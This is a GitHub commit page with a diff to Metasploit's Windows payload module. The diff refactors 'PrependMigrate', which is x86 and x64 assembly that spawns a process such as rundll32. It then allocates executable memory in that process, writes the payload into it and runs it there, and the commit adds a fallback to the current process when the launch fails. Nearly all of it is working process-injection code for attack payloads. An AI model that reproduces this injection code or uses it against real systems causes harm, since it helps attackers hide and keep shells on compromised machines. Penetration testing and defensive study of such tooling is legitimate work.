Skip to content

Commit 07bf36f

Browse files
committed
Ensure shell still works if PrependMigrateProc fails to launch.
Don't rely on GetStartupInfoA return value.
1 parent 5225186 commit 07bf36f

File tree

1 file changed

+86
-67
lines changed

1 file changed

+86
-67
lines changed

lib/msf/core/payload/windows.rb

Lines changed: 86 additions & 67 deletions
Original file line numberDiff line numberDiff line change
@@ -75,14 +75,32 @@ def generate(*args)
7575
if test_arch.include?(ARCH_X86)
7676
# PrependMigrate
7777
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
78-
payloadsize = "0x%04x" % buf.length
79-
procname = datastore['PrependMigrateProc'] || 'rundll32'
78+
migrate_asm = prepend_migrate(buf)
79+
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
80+
end
81+
# Handle all x64 code here
82+
elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
83+
# PrependMigrate
84+
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
85+
migrate_asm = prepend_migrate_64(buf)
86+
pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string
87+
end
88+
end
89+
return (pre + buf)
90+
end
91+
92+
#
93+
# Create assembly
94+
#
95+
def prepend_migrate(buf)
96+
payloadsize = "0x%04x" % buf.length
97+
procname = datastore['PrependMigrateProc'] || 'rundll32'
8098

81-
# Prepare instructions to get address of block_api into ebp
82-
block_api_start = <<EOS
99+
# Prepare instructions to get address of block_api into ebp
100+
block_api_start = <<EOS
83101
call start
84102
EOS
85-
block_api_asm = <<EOS
103+
block_api_asm = <<EOS
86104
api_call:
87105
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
88106
mov ebp, esp ; Create a new stack frame
@@ -166,57 +184,55 @@ def generate(*args)
166184
jmp.i8 next_mod ; Process this module
167185
;--------------------------------------------------------------------------------------
168186
EOS
169-
block_api_ebp_asm = <<EOS
187+
block_api_ebp_asm = <<EOS
170188
pop ebp ; Pop off the address of 'api_call' for calling later.
171189
EOS
172-
block_close_to_payload = ''
190+
block_close_to_payload = ''
173191

174-
# Check if we can find block_api in the payload
175-
block_api = Metasm::Shellcode.assemble(Metasm::Ia32.new, block_api_asm).encode_string
176-
block_api_index = buf.index(block_api)
177-
if block_api_index
192+
# Check if we can find block_api in the payload
193+
block_api = Metasm::Shellcode.assemble(Metasm::Ia32.new, block_api_asm).encode_string
194+
block_api_index = buf.index(block_api)
195+
if block_api_index
178196

179-
# Prepare instructions to calculate address
180-
ebp_offset = "0x%04x" % (block_api_index + 5)
181-
block_api_ebp_asm = <<EOS
197+
# Prepare instructions to calculate address
198+
ebp_offset = "0x%04x" % (block_api_index + 5)
199+
block_api_ebp_asm = <<EOS
182200
jmp close_to_payload
183201
return_from_close_to_payload:
184202
pop ebp
185203
add ebp, #{ebp_offset}
186204
EOS
187-
# Clear now-unneeded instructions
188-
block_api_asm = ''
189-
block_api_start = ''
190-
block_close_to_payload = <<EOS
205+
# Clear now-unneeded instructions
206+
block_api_asm = ''
207+
block_api_start = ''
208+
block_close_to_payload = <<EOS
191209
close_to_payload:
192210
call return_from_close_to_payload
193211
EOS
194-
end
212+
end
195213

196-
#put all pieces together
197-
migrate_asm = <<EOS
214+
#put all pieces together
215+
migrate_asm = <<EOS
198216
cld ; Clear the direction flag.
199217
#{block_api_start}
200218
#{block_api_asm}
201219
start:
202220
#{block_api_ebp_asm}
203221
; get our own startupinfo at esp+0x60
204222
add esp,-400 ; adjust the stack to avoid corruption
205-
mov edx,esp
206-
add edx,0x60
223+
lea edx,[esp+0x60]
207224
push edx
208225
push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
209226
call ebp ; GetStartupInfoA( &si );
210227
211-
; ptr to startupinfo is in eax
212-
; pointer to string is in ecx
228+
lea eax,[esp+0x60] ; Put startupinfo pointer back in eax
229+
213230
jmp getcommand
214231
gotcommand:
215232
pop esi ; esi = address of process name (command line)
216233
217234
; create the process
218-
mov edi,eax
219-
add edi,0x60 ; Offset of empty space for lpProcessInformation
235+
lea edi,[eax+0x60] ; Offset of empty space for lpProcessInformation
220236
push edi ; lpProcessInformation : write processinfo here
221237
push eax ; lpStartupInfo : current info (read)
222238
xor ebx,ebx
@@ -232,6 +248,13 @@ def generate(*args)
232248
push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
233249
call ebp ; CreateProcessA( &si );
234250
251+
; if we didn't get a new process, use this one
252+
test eax,eax
253+
jnz goodProcess ; Skip this next block if we got a new process
254+
dec eax
255+
mov [edi], eax ; handle = NtCurrentProcess()
256+
257+
goodProcess:
235258
; allocate memory in the process (VirtualAllocEx())
236259
; get handle
237260
push 0x40 ; RWX
@@ -281,21 +304,19 @@ def generate(*args)
281304
begin_of_payload:
282305
call begin_of_payload_return
283306
EOS
307+
migrate_asm
308+
end
284309

285-
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
286-
end
287-
# Handle all x64 code here
288-
elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
289-
# PrependMigrate
290-
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
291-
payloadsize = "0x%04x" % buf.length
292-
procname = datastore['PrependMigrateProc'] || 'rundll32'
293310

294-
# Prepare instructions to get address of block_api into ebp
295-
block_api_start = <<EOS
311+
def prepend_migrate_64(buf)
312+
payloadsize = "0x%04x" % buf.length
313+
procname = datastore['PrependMigrateProc'] || 'rundll32'
314+
315+
# Prepare instructions to get address of block_api into ebp
316+
block_api_start = <<EOS
296317
call start
297318
EOS
298-
block_api_asm = <<EOS
319+
block_api_asm = <<EOS
299320
api_call:
300321
push r9 ; Save the 4th parameter
301322
push r8 ; Save the 3rd parameter
@@ -385,59 +406,54 @@ def generate(*args)
385406
mov rdx, [rdx] ; Get the next module
386407
jmp next_mod ; Process this module
387408
EOS
388-
block_api_rbp_asm = <<EOS
409+
block_api_rbp_asm = <<EOS
389410
pop rbp ; Pop off the address of 'api_call' for calling later.
390411
EOS
391-
block_close_to_payload = ''
412+
block_close_to_payload = ''
392413

393-
# Check if we can find block_api in the payload
394-
block_api = Metasm::Shellcode.assemble(Metasm::X64.new, block_api_asm).encode_string
395-
block_api_index = buf.index(block_api)
396-
if block_api_index
414+
# Check if we can find block_api in the payload
415+
block_api = Metasm::Shellcode.assemble(Metasm::X64.new, block_api_asm).encode_string
416+
block_api_index = buf.index(block_api)
417+
if block_api_index
397418

398-
# Prepare instructions to calculate address
399-
rbp_offset = "0x%04x" % (block_api_index + 5)
400-
block_api_rbp_asm = <<EOS
419+
# Prepare instructions to calculate address
420+
rbp_offset = "0x%04x" % (block_api_index + 5)
421+
block_api_rbp_asm = <<EOS
401422
jmp close_to_payload
402423
return_from_close_to_payload:
403424
pop rbp
404425
add rbp, #{rbp_offset}
405426
EOS
406-
# Clear now-unneeded instructions
407-
block_api_asm = ''
408-
block_api_start = ''
409-
block_close_to_payload = <<EOS
427+
# Clear now-unneeded instructions
428+
block_api_asm = ''
429+
block_api_start = ''
430+
block_close_to_payload = <<EOS
410431
close_to_payload:
411432
call return_from_close_to_payload
412433
EOS
413-
end
434+
end
414435

415-
#put all pieces together
416-
migrate_asm = <<EOS
436+
#put all pieces together
437+
migrate_asm = <<EOS
417438
cld ; Clear the direction flag.
418439
#{block_api_start}
419440
#{block_api_asm}
420441
start:
421442
#{block_api_rbp_asm}
422443
; get our own startupinfo at esp+0x60
423444
add rsp,-400 ; adjust the stack to avoid corruption
424-
mov rcx,rsp
425-
add rcx,0x30
445+
lea rcx,[rsp+0x30]
426446
mov r10d, 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
427447
call rbp ; GetStartupInfoA( &si );
428448
429-
; ptr to startupinfo is in rax
430-
; pointer to string is in rcx
431449
jmp getcommand
432450
gotcommand:
433451
pop rsi ; rsi = address of process name (command line)
434452
435453
; create the process
436-
mov rdi,rsp ; get rsp again
437-
add rdi,0x110 ; Offset of empty space for lpProcessInformation
454+
lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation
438455
push rdi ; lpProcessInformation : write processinfo here
439-
mov rcx,rsp
440-
add rcx,0x58
456+
lea rcx,[rsp+0x58]
441457
push rcx ; lpStartupInfo : current info (read)
442458
xor rcx,rcx
443459
push rcx ; lpCurrentDirectory
@@ -451,6 +467,13 @@ def generate(*args)
451467
mov r10d, 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
452468
call rbp ; CreateProcessA( &si );
453469
470+
; if we didn't get a new process, use this one
471+
test rax,rax
472+
jnz goodProcess ; Skip this next block if we got a new process
473+
dec rax
474+
mov [rdi], rax ; handle = NtCurrentProcess()
475+
476+
goodProcess:
454477
; allocate memory in the process (VirtualAllocEx())
455478
; get handle
456479
push 0x40 ; RWX
@@ -501,11 +524,7 @@ def generate(*args)
501524
begin_of_payload:
502525
call begin_of_payload_return
503526
EOS
504-
505-
pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string
506-
end
507-
end
508-
return (pre + buf)
527+
migrate_asm
509528
end
510529

511530
#

0 commit comments

Comments
 (0)